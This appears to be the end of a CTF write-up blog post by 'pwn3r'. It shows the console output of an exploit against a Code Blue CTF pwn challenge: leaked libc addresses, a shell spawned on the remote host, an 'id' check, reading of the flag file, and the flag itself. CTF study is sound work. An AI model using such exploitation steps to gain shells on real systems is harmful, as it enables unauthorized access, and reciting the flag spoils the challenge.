[*] Stopped remote process 'dash' on pwn2.task.ctf.codeblue.jp (pid 16682)
[+] Starting remote process '/bin/sh' on pwn2.task.ctf.codeblue.jp: pid 16687
libc_base : 0xf75fc000
execl@libc : 0xf76aca80
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0
1
2
3
4
trigger!
[*] Switching to interactive mode


(null)Q. hello
> $
Wrong.
$ id
uid=33433(game_chal) gid=11454(p11454) groups=11454(p11454),33433(game_chal)
$ cat /home/p11454/actual_flag
CBCTF{Natural vulnerability in a miniature garden}

Flag : CBCTF{Natural vulnerability in a miniature garden}



WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret